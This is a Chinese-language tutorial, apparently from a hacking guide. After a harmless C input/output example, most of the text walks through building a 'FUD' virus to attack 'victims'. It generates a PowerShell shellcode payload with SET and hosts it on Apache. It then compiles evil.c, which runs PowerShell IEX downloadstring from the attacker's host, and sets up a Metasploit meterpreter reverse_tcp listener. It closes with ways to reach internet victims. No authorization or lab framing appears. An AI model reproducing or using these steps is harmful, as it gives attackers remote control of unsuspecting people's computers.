C 程式設計
雖然彙編直接接觸核心,但有時高階語言可以更快地完成工作。在這裡,我們將研究一種最有用的程式語言,並將其用於攻擊我們的受害者,以試圖進行利用。
C 程式語言是由丹尼斯·裡奇 和布萊恩·科尼漢 分別建立的。這種語言不是面向物件的,就像組合語言一樣,不要指望掌握這種語言;即使你精通 C++,也不意味著你可以用它來編寫。
說到編寫語言,讓我們快速看一下如何閱讀它。
為了快速說明這種語言的簡單特性,我們將從一個示例應用程式開始。它會提示你“輸入一個整數”,然後將你輸入的數字列印回給你。
#include <stdio.h>
// This is a single-line comment. This is ignored when the code is compiled/run.
int main()
{
int a;
printf("Enter an integer\n"); // Prints text to the screen
scanf("%d", &a); // Reads user input, and sends the data to the integer 'a'
printf("Integer that you have entered is %d\n", a); // %d (decimal) tells it to add the integer 'a' where it had been typed
return 0;
}
輸出
Enter an integer 99 Integer that you have entered is 99 Process returned 0 (0x0) execution time : 1.949 s Press any key to continue
可以在這裡找到更多這種語言的示例。
現在,我將提供一個教程,介紹如何在 Kali Linux 上使用 SET 建立 Powershell 攻擊向量。即使你只有setoolkit 和gcc,你也可以按照這個教程操作。
這將讓你瞭解使用 C 語言及其相應的編譯器gcc可以多麼容易地建立一個好的 FUD。
要建立有效載荷,我們首先需要在具有 root 許可權的終端中鍵入以下內容
setoolkit
給它一些時間載入後,它將提供六個選項。按“1”並回車選擇“社會工程攻擊”。然後會顯示更多選項,只需鍵入“9”然後按回車選擇“Powershell 攻擊向量”選項。在這裡,它會詢問我們關於 Powershell 攻擊向量的型別選項。我們將會選擇“1”也就是“字母數字 Shellcode 注入器”。
- 在這裡,它會詢問攻擊者的 LHOST,只需將你的 IP 地址複製/貼上到框中即可。(提示:
ifconfig將顯示所有你的網路介面,包括 IP) - 接下來,它會詢問你的 LPORT。這次,你可以按回車鍵將其保留為預設值(位於方括號內),或者你可以鍵入一個隨機值,但要確保記住它。
- 最後,它會詢問我們是否希望它為我們啟動一個監聽器。跳過這一步,我們稍後可以輕鬆地做到這一點。
- 然後它將在/root/.set/reports/powershell建立一個檔案,你應該將它移動到你的桌面。
現在,將我們的新有效載荷上傳到 Apache 服務是合適的,這樣我們的 C 程式就可以在受害者的 Powershell 上下載並執行。
- 首先,我們將x86_powershell_injection.txt移動到/var/www/html/payload.txt,這樣 Apache 就可以找到它。
- 接下來,我們使用以下命令啟動 Apache:
service apache2 start
很好,現在我們準備製作病毒了。
首先,使用 Vim 或 Nano 在你的桌面上開啟一個名為“evil.c”的檔案。用以下 C 原始碼填充它
#include <stdio.h>
int main()
{
system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('YOURLHOSTHERE/payload.txt')\"");
return 0;
}
請記住,將“YOURLHOSTHERE”更改為在 SET 中建立有效載荷時使用的 LHOST。
現在,我們將使用 gcc 編譯evil.c檔案
gcc ~/Desktop/evil.c -o ~/Desktop/evil.exe
現在我們已經將我們的程式編譯成可執行檔案,我們可以啟動我們的監聽器。
現在我們可以啟動 Metasploit 框架,輸入
msfconsole
載入完成後,輸入
use multi/handler
現在我們可以設定這些選項,如下所示
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 443
顯然,像之前一樣,將 LHOST 和 LPORT 更改為你在 SET 中建立有效載荷時使用的值。
現在你可以鍵入以下內容來啟動監聽器
exploit
現在,當有人執行你的 evil.exe 檔案時,你就可以獲得一個會話。
如果會話沒有自動開啟,你可以鍵入以下內容來列出所有會話及其編號
sessions -l
最後,開啟一個會話
sessions -i 1
請記住,除非受害者在你的 LAN 上,否則此攻擊不會奏效。你可以透過嘗試以下選項之一在網際網路上的受害者上測試它
- Hamachi(或其他)
- VPN
- 埠轉發